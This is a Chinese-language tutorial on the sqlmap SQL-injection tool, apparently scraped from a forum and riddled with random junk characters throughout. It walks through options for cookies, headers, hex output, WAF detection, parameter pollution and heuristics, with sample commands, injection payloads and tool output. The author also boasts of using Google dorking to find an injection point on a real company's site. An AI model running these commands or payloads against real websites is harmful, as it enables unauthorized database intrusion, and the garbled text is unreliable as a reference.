( c5 z8 M( H0 ]% |0 n, z例子: 7 P7 {/ q% U. ` E2 G" x$ M; G0 `) O8 l8 \8 U& n9 z3 |
python sqlmap.py -g "inurl:\".php?id=1\"" 3 x! p5 p2 P. z6 A$ e# r, \% v7 }; d# {
(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点); d$ O1 x3 d) ~- V4 S8 l
* s, L- d) j% x$ L k1 E7 c6 v3 y' b# u
此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。 4 }$ I$ y, J' D' t$ X8 e请求 1 _8 _1 m2 f, L8 ]5 {http数据 1 D* H8 }1 I4 W/ ^+ V1 y2 E1 {$ x: H' w# V9 G3 U
参数:--data: d5 y/ y3 W0 }, [6 s. o
* ^2 K# f ^2 ]0 J' E W2 x此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。 " D2 l. T# k: ~* H y5 F; c1 Y# D. H* s# a4 t4 ~1 L
例子:3 `9 A q9 w5 ~( O1 r* }* I2 i B* O
- ]/ }- D' ]# n$ Z rpython sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users b$ e4 G5 I# a, K' N X' f
5 ~# o0 r* J+ E1 F1 }
参数拆分字符 , s/ m. @+ z! x7 q/ _; [& K/ a, G0 Y: B5 S" S0 w
参数:--param-del , t+ P; L1 B' l2 G3 q) C3 `& @; V) b7 r" ?8 U
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。 : x% z k) y2 @' |' e7 J. C % k5 Y+ n& d; k: B# k0 {* g8 b) N例子: ; M9 d' L: U4 f, `- c' q. S1 Y6 J) U
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users ! }8 \6 N4 C6 G' O# A! n# `% P) }* z4 }0 h$ B
HTTP cookie头 ' z- H6 w" \! G5 f3 B! X8 o5 g! u1 H( l( N! y% L0 ^8 g
参数:--cookie,--load-cookies,--drop-set-cookie0 X$ @. Z- w2 _
% ]2 L/ B# o1 W) K
这个参数在以下两个方面很有用:3 L/ w0 t5 d3 R8 |! r$ N1 S
/ [; ]# u6 o1 `& C
1、web应用需要登陆的时候。 8 h% P) E5 |0 A9 g$ H" C7 Z 8 R2 E. ]! ]9 }/ x( ?2、你想要在这些头参数中测试SQL注入时。 2 D* n9 O4 T# `2 i+ W# s2 j7 P; m$ Z7 N
可以通过抓包把cookie获取到,复制出来,然后加到--cookie参数里。6 w% V9 i0 z* H2 X: ~& d
& G! H, {. |" i& N8 |' F, B! J: M
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。4 ~6 O r, |$ S# E' ]+ I" d
4 b" d$ ^8 Y- l如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。7 A, O- u4 c) W! ?+ Y1 s
& w% i. W& @# \9 X" M6 h* u当你使用--cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。% ~8 k9 W/ z( d6 z3 J* F
HTTP User-Agent头 1 L9 C( |8 m/ o5 V+ q7 F 9 ]1 f6 m/ ?9 j$ B+ L8 o! |* d: b5 j参数:--user-agent,--random-agent- _" x, _8 B. u. I
4 y. ~! s3 Q8 F; \默认情况下sqlmap的HTTP请求头中User-Agent值是:$ A" R' Y$ ~1 O( k/ Y8 P
. Z z# O: e' }% j
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) ; }% n3 R3 C, y2 h- s' C7 n7 ^' }/ Q7 L2 J
可以使用--user-anget参数来修改,同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。 7 y, c* {, h$ R+ ]7 s4 b3 v% B) J. y, c7 ]6 _5 I! U& i/ s
当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。/ ^: K* a9 v' c5 s: R( ^
HTTP Referer头 1 X9 f6 @4 G% o0 s 5 n% ^0 Y2 x8 H" T7 v: ]& D参数:--referer % z1 z8 e5 y: @7 {: I. ?5 C* P " e* X- ~! r, A2 D3 `sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入。$ t( F/ V5 i6 P6 @9 d2 x: Q
额外的HTTP头' ~; \& p9 U$ Z( ~
: P. ^8 d' c: a3 a M参数:--headers 0 P) s8 w1 p6 N ; v6 d) L/ v* e- u* U- e( w; ?# h可以通过--headers参数来增加额外的http头 - v! E' Q6 l+ KHTTP认证保护 & [ r: s. Z7 S* V# U/ q0 y" R: x# S; q' I' q9 R# @
参数:--auth-type,--auth-cred, u$ {' O* O1 M: `5 I. i
7 a" y' h3 |1 G3 |9 }0 z
这些参数可以用来登陆HTTP的认证保护支持三种方式: 4 z* Q) T8 W! g! v+ G/ V$ @ 6 l. T ^# V6 ]" M( Q. ^1、Basic ( {2 L( V6 q" ~4 H% L" L+ G3 `( j1 V " N3 A8 V1 K Y" y5 H1 o# X2、Digest& `, e% p4 j6 L- m8 f0 T7 `, Y- O
5 s( Q. ~3 S6 G4 @- H' m3、NTLM - F! ?) Z8 c8 p& o1 t $ Z( I5 K: {; s. I9 z! J例子:. g! ~4 d/ m; ~" f
! P' O$ {. Q3 H( `) Q' Y% O
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" + l" h" k9 x8 O0 ^! Q* ^/ m6 d* ^1 t
HTTP协议的证书认证( D- x/ |9 Q, T: ?7 t. r% I
6 R7 k4 u) a( ]参数:--auth-cert ) X9 S/ L: h5 N # ]+ ~, C' }. b9 h2 |+ U4 V2 Z/ c当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。 # I0 j9 M7 D: d, D2 Z8 P6 Q4 _, R& _; j$ ~# I
key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。 & U9 q! d, u% o0 G: Q% s- ?3 cHTTP(S)代理 2 W6 e2 `; C0 G% c, b5 P+ S5 o( l: L
参数:--proxy,--proxy-cred和--ignore-proxy3 c3 x! V; W2 d- Y t
$ `! @3 Y. T/ t- W O8 S
使用--proxy代理是格式为:http://url:port。' C5 X/ d6 S2 T8 R5 l9 a
9 I& G8 w! C2 J- P
当HTTP(S)代理需要认证是可以使用--proxy-cred参数:username:password。 , |& ], B$ `; g4 l* m. s/ g1 z+ C0 W. q" y& s
--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。' i' u* G' i1 V1 W
HTTP请求延迟0 _0 ^2 J |9 D" o M
' Q" ~' r! {& p# h( p0 ~% [
参数:--delay9 {/ S; t* E1 k& X
2 R9 j7 t' n) [ @! qsqlmap先输出长度,预计完成时间,显示百分比,输出字符 ' ^/ ~, x0 H' p. d7 k. o7 Q; W! x刷新session文件; T7 Q1 a u7 j9 Y* w
' _5 U1 `, U V2 Q" }参数:--flush-session / t& D. ^3 X8 F8 B ( f, L* f6 C5 b' @# l4 A2 W6 F1 _* ?" q如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。 t( V9 R8 Q. x: r9 ~$ l/ D: a自动获取form表单测试/ i3 g0 k6 G7 Z- \. K$ f
# x# q" Y# }: x$ o% p
参数:--forms . F. J2 U0 j8 L3 G1 l$ Z 3 F J" `# ]1 Y' X0 J如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。 6 S8 r3 j* i2 w. {# V7 k" x忽略在会话文件中存储的查询结果 8 _' v+ a5 K% E/ n& g3 @7 I: O/ e, w" t# w: z: ]% _ z' e
参数:--fresh-queries' r5 W- S( m0 w& l+ {/ H% z, d+ Z
0 y+ X& U$ i( e. @" p6 C* O- R9 N忽略session文件保存的查询,重新查询。 $ s* b/ |# L& v; ]4 _) p9 k5 v9 p, | L使用DBMS的hex函数 - G% m+ W& N6 d: c8 R1 t , B8 A5 N- F, {1 V参数:--hex [5 g$ q" d( A# u9 t
! Y* v! H" P9 A! o% i% k( @5 e
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免: [5 B$ O2 v1 |9 J% J. D4 V
" B' {' R- i8 \: b7 u
针对PostgreSQL例子: 3 n! y8 f5 q$ H. X6 @% ] C/ g7 y, g7 `) Q4 Q; U
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors 1 \3 m& q( n; E4 e! j4 b* s5 j' d' R. Y% A4 B9 q3 e
[...]: z" \" O: E, k j- b6 j9 L
[xx:xx:14] [INFO] fetching banner3 X/ c7 ?4 _5 m! `5 J; R
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)$ c" a; ?7 o; Z9 r! x) J
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'# n U: @1 ^. j7 I/ c" ?
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by9 T$ N1 ]( l5 D; C
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.26 d/ a: T3 u; r" o4 l# P$ j
[...] : |" t- H$ b8 z% [ 6 c5 f# z" g* @自定义输出的路径 ; J5 [) ^% K1 w9 G3 H* m ' Y. u. E- ^5 l V2 C参数:--output-dir, Q( v8 S' w' W( E! T! ~. p& [7 I
: N" u5 f1 t1 R) y! {. K& Xsqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp* {+ I2 E! R& i4 ]7 Y H
从响应中获取DBMS的错误信息 $ {0 B+ | N; D$ k6 R! ~. P+ J , W' k4 H- E* k p4 U' ~参数:--parse-errors 0 ^6 F. U) {3 [2 h( v2 D0 \8 K+ ~ ` _, _
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。 8 t2 ]) A9 d. k3 V. d # X. k9 k0 d0 I" l ~5 |; w1 m: o; \$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors b( G( Q$ y- w3 i. {7 a[...] O& ~0 O4 r- ]+ \* E0 K[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test4 v# ?& o, D* r; R0 j" R+ U# i
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) $ C" k2 K( M) |. J2 G3 b ][Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list., i; B+ W% F9 i7 o3 }4 f9 t- l8 k
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 5 @/ V, q1 L0 V; _9 H% n. |[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)) F5 Q* w! Y2 y; Z
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list. : W# D" c3 L4 b+ B! s<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'; Z" V9 I/ F! o
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)3 a1 j- O7 Z6 a {0 e3 k4 M0 H
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. ; f9 A2 s L7 T<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'7 S2 q7 `- Y0 h* E, c7 i* B
[11:12:17] [INFO] target URL appears to have 3 columns in query* \% [! W7 q+ D, n
[...] - l% |) w' `/ M" h . e+ R; r+ O; u3 Q6 q' o$ s5 M6 m其他的一些参数+ C( N' ]- L# ?/ a: a& w4 }
使用参数缩写 1 W, _) t% M' q3 o6 O! }3 j- I0 w
参数:-z & G3 g0 L: A1 U0 m9 e. Z1 V# `* U! Y. B- l; C' c. X
有使用参数太长太复杂,可以使用缩写模式。 例如:# S4 }, q) R7 p; ?
8 T8 L' I3 {: Q
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" . ~! `. K( Q2 F' h+ v9 t, P' N1 J) G7 ]' v$ w' F6 y
可以写成:0 ?; l- F) ~2 V" i0 S$ j! `
5 |8 u( H% k1 h
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" 7 X& h: _- S# j0 e& n 5 h7 ]0 Z* K( c8 c; ?+ w) ~还有: - J: g& F, t. k' B& a0 K- Q, D, w% H" U
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" 8 z1 V5 f$ z! W+ {/ Y ! g7 u" k& }( ^# d7 _% E可以写成: ! O6 H9 U. O5 c4 v . F0 s' Q8 x- Q9 Z' gpython sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"8 ?0 z4 H* I% B9 t2 S2 a. \
* w. c" r9 c, {, J( U% V+ V5 n成功SQL注入时警告 R, k+ _* ?, t( F) g/ U# ^! v d, H6 f; |) g' e
参数:--alert# I/ u- B9 G; I
设定会发的答案5 s' p) T! W# b) I7 @: v+ P
; M+ `% ^8 b- m9 n( |: M$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch0 f; ]. [5 [+ I. N+ Q: n, c
[...] ; i$ d8 k+ v" l[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' & I% P( d( A: `heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y) i0 l( f- Y+ o8 K1 B# @. O' \
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N ( e, e5 ` m7 \$ K" f Z4 G; V* H[...]/ J+ B7 }2 X) T3 S
+ {4 Z2 Q. X& G0 N" W
发现SQL注入时发出蜂鸣声* ^9 S, V; n9 A; f" B2 G. c
: h: h3 m" y, K. A# y( k例如: 1 q" v* F; x5 w) e4 n7 M# r8 e* D7 y0 A% W& Z5 ^- Y
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1 S1 [: |6 w9 \ X! r0 G O2 }9 H( P9 N
如果有保护的话可能返回结果会不同。 e* F0 {( A; V7 f0 f6 s, E* U
清理sqlmap的UDF(s)和表 0 \. S/ o2 X. X I5 a: E1 {3 t$ l3 X3 K8 @6 c
参数:--cleanup. _/ {' K/ b2 ^
- s. k8 J j V, B1 [. v
清除sqlmap注入时产生的udf与表。( k7 G7 G, K' V8 P. y3 R% e4 M
禁用彩色输出$ {: j2 B; t- D _1 M: `; Z2 E
% P2 N; k3 d- b4 h" H. h$ K7 y& F
参数:--disable-coloring+ d! `6 R( ]% a; {5 T- }" Q
/ {/ o7 d; n5 z3 E1 b# d
sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。2 y' s- E2 }1 ?7 a! F- m) B
使用指定的Google结果页面 : h i2 j( _0 L) a( ]" k& T0 e; q) Y8 k5 D1 @
参数:--gpage , [' D; E, ^. c' @; ~3 Y. [5 O& Y' q( g: L. M3 W
默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。5 D( n" q. L7 T
使用HTTP参数污染 ! ~! ]$ ?9 J+ P: I0 T1 ` ( o9 X8 j: z- r! \0 u参数:-hpp I7 Z* s( w+ Z' M$ l
0 F: @# z4 Q4 ~* ^* ~; L) G UHTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。 5 D9 A; g& W" B8 Z, `测试WAF/IPS/IDS保护3 Y& s( W. e. d" ^
9 D N2 L% Z W9 S7 Y' c参数:--identify-waf3 [4 l3 Z4 @$ O/ z* N8 n) p& b
' H5 U3 d9 a/ q2 J: {; msqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。; J7 W4 j! U; C* ]2 r
4 l# ]. ?+ q$ Y( W6 I- M
例如对一个受到ModSecurity WAF保护的MySQL例子:( `; _/ T( f& O. C6 W
/ v! A1 @- D! k* i. g
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3" g8 P& o% K4 q l3 ?! e2 y
[...] " k D) L0 Z( Q+ x' \[xx:xx:23] [INFO] testing connection to the target URL % D$ @. L* T3 R. e8 x0 O4 y: q[xx:xx:23] [INFO] heuristics detected web page charset 'ascii' : b# k( x+ o! h2 y/ }7 n3 P[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection, ?7 Q6 B. {$ l1 n( {5 s' Y0 `
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)') { {5 d6 U/ p( a' L% r; @
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)' # z+ t; Z# g, U# |9 ~6 l[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'$ a( N; |$ X3 e$ E3 f* W/ V, }# ~
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)' $ _; C- h6 g1 P/ p# q& z[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'+ }6 b# I5 r# E8 m8 V$ A6 `7 L
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'0 z+ P I } j
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)' ( ?5 B8 `2 G6 P9 u[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)' / `9 |# `6 k1 Z' n[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)') h/ p8 V. _% ?+ \
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'7 h" S( b2 G, F; U; T& @
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)': ~. F& W O: u% m4 C! ]5 Y+ M
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)' g) ]( M! X' U7 e/ p3 D) C8 T1 L1 l/ b
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)' & h! t4 W6 z4 e' \2 G+ o[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'* j: ?- C; U. A2 [# V2 G
[xx:xx:23] [DEBUG] page not found (404)2 |4 G0 ]- W8 M% o
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'/ G O3 L! Q, ]" S
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)' 5 C+ E1 N( ^. t% ?" R2 y1 x4 l/ y[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)' . ]; q5 h- b" L& ]! w1 k[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'1 w$ w* X# A* Z! z v
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)' * _+ N# A5 `9 f# r4 O- ?9 d[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'" T, Q# z- Y* s- C0 L4 K# F, P; L
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper') ! d7 W5 v& G# T7 R' a4 J; [[...] . K6 {: p* V" D4 q4 V% u# j7 f9 O( r; O( v% _+ K0 m! k5 d6 J
模仿智能手机 " @; R- Y; z6 S2 m" g; A3 [ + r' K$ W7 z# [& d9 o! I8 i参数:--mobile # I" {+ J- }8 R" r( P$ h) X' E+ G
有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。3 n; ]% t% |, j
1 Q( D0 {! V, m( b4 Z例如: % }" I1 j, h Q. f$ m2 B ) K% p. \! n9 n( H) q7 \& U$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile 7 E$ ^' ]: S9 }9 @& X2 D2 W0 p[...]8 O7 e- T. q$ T6 b6 |
which smartphone do you want sqlmap to imitate through HTTP User-Agent header? : o& J9 w4 S8 G6 k1 c4 W) m[1] Apple iPhone 4s (default)3 Z* a7 E0 _: j
[2] BlackBerry 99002 @4 E0 `1 F1 s# N0 U# S8 H+ J) S
[3] Google Nexus 7 ( t6 w& j4 V4 S" {- Q K[4] HP iPAQ 6365 ' u9 z. c1 e" X3 w2 s% V- _$ n[5] HTC Sensation 1 o# D8 j% ~' [# d( Z9 y[6] Nokia N97 $ Q+ O. e; w: F3 v[7] Samsung Galaxy S/ e4 O i) J9 m8 a- F$ Y
> 1 7 d) L' }6 B* v. w7 Z3 l[...] 4 F5 n% z) d4 W9 \! d7 j, M9 F. e' q1 T1 R' u+ R" [
安全的删除output目录的文件 + T0 f8 S6 v0 O) |1 M # o, V# r& }, f) k参数:--purge-output 2 v/ @: u" e, j1 |3 z ; e7 z# r& e8 f; E2 [: p有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。 7 c- A q+ n$ D ) d/ o4 X( w3 u: }0 E0 n. N# l0 U/ u0 ^例如: $ R \" C$ q3 M$ X% k' U, c; z, u8 [& {( u- T) \) X$ v! c
$ python sqlmap.py --purge-output -v 3% g5 e& P O2 V* w! g, B
[...] . _( m. w/ ~/ H1 `( A- Q[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... : J1 b) t8 R4 ]* ?[xx:xx:55] [DEBUG] changing file attributes / z9 \6 g6 ]- P# K @3 f& }[xx:xx:55] [DEBUG] writing random data to files + O7 Q5 {; f2 T/ Q" f- U' y4 w( h2 r[xx:xx:55] [DEBUG] truncating files! w: w, E* Q2 c! ]$ E- Q" ~
[xx:xx:55] [DEBUG] renaming filenames to random values 9 D1 H' |2 x. t6 H7 Z0 E[xx:xx:55] [DEBUG] renaming directory names to random values 4 n, J6 g+ u& q& p& }[xx:xx:55] [DEBUG] deleting the whole directory tree 6 T$ V6 _6 b3 s. b/ D% y[...] 2 t5 s9 v3 ]/ f6 O1 W5 F: Z ; P4 ]1 i- |9 E启发式判断注入* g( }7 }0 e% K0 j3 G* ~ X% q# y' l
$ Z- L1 A, p p) {. r9 B# U
参数:--smart2 ^& m+ a" J: g& b: H3 l3 G
% ^! e8 T: K+ w! ]8 ]有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。 - A. }; G- z( h, l7 |- }4 |$ b ' e {$ R% ]& x% n1 t( M例子: ?( Y9 ~/ q4 T8 m+ |3 A) {+ n7 ?$ ? 7 e: ]% Y) A6 S3 N# B+ Z$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart8 _0 D1 {4 H! y1 _ ]
[...]$ Z' v ^8 M5 @' t2 M
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic5 A" t% t: ~6 G6 t8 a- g1 E
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic % ]& {5 j4 W" v9 `0 N6 F( L[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable9 u" I$ {- B5 |/ F
[xx:xx:14] [INFO] skipping GET parameter 'ca' , x& ?- C' ~& x) l! e: l[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic2 j# q, O* T' W! w
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic P7 G9 X; ]4 Y! Q% l/ Y* |
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable 7 _7 ~: u1 k. z+ q; Y/ B$ z[xx:xx:14] [INFO] skipping GET parameter 'user'( k. H2 z; V" F5 g4 n
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic0 a3 n2 e5 r% I6 A% o3 n7 U4 _! F$ s
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic$ z! T) f# O: h* y
[xx:xx:14] [INFO] GET parameter 'id' is dynamic9 a/ X3 z8 H2 J- u' F
[xx:xx:14] [WARNING] reflective value(s) found and filtering out 3 {1 c3 S/ _ ?, P u5 s5 G) Q6 Q: a[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')- e* `3 f6 Y. R2 `6 F- f S# i1 K
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'' R3 s9 \4 G, e5 z; \
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y ; W- {$ M; \# ^$ T* n4 U+ tdo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y2 |& ^# j5 j6 ~* v
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause', T' F' f: U% _; @
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable ) \- Z) t5 U5 L3 C. N; {+ b[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' # W, Z1 j. y/ n2 T; G) A[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable ( r& R6 Y9 Z8 n6 O d5 }[xx:xx:14] [INFO] testing 'MySQL inline queries'3 V3 z0 x+ I% r+ ]7 p" Z: b" x
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'3 V" X) N) D) g* q
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' - ^0 K, E. Z( \: ~; Q6 p[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'+ D" r+ ?+ k6 C# i4 _- H9 `7 L
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 8 E6 I0 @! m* j1 U( C# F( {! O
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' * m/ Z1 |5 Y* u4 f _ [[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found ! | L, J- K; C+ P[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test: F2 ^$ ^+ l/ T" T* l8 H
[xx:xx:24] [INFO] target URL appears to have 3 columns in query) R0 a& n3 ^9 V' |( U
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable2 G( j6 F8 p; \5 U
[...] & \5 R5 B# N- J! q ( x0 r9 ] R8 d- c- f初级用户向导参数& z8 I! \. L- Z1 \# e2 i% D- X9 `
( f8 O! |; {7 U$ @1 A" W5 @$ python sqlmap.py --wizard 1 b S& M, j' n% X0 O ( E8 ? G" C# c sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool % x/ P3 K; z' F( g" ~4 p+ B0 Q% z$ z
http://sqlmap.org 9 G |' a7 D- g4 Y) y& q, w! b! X$ ^5 ?8 |* N
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program9 v* E& f1 s- ^1 |" f- w/ L4 v
- N. F2 c$ _9 W+ lsqlmap is running, please wait.., K2 d- R8 R$ Z) D+ T% `
2 y9 n7 _1 m+ a8 n) gheuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y/ _. F0 ~9 n$ F: r* l8 D. `, s' x; N
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y$ X4 Y* z4 [7 G
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N+ k* u) a2 r" i4 }
sqlmap identified the following injection points with a total of 25 HTTP(s) requests: ( \$ J1 P8 R0 T---" g1 _/ g' @% l3 o- ^
Place: GET O5 E, T; |0 t$ W6 s
Parameter: id/ c! Y8 s" k! F6 `
Type: boolean-based blind; z% C9 Z" }2 S
Title: AND boolean-based blind - WHERE or HAVING clause( v) A9 |$ D8 I! Z9 H. P5 a
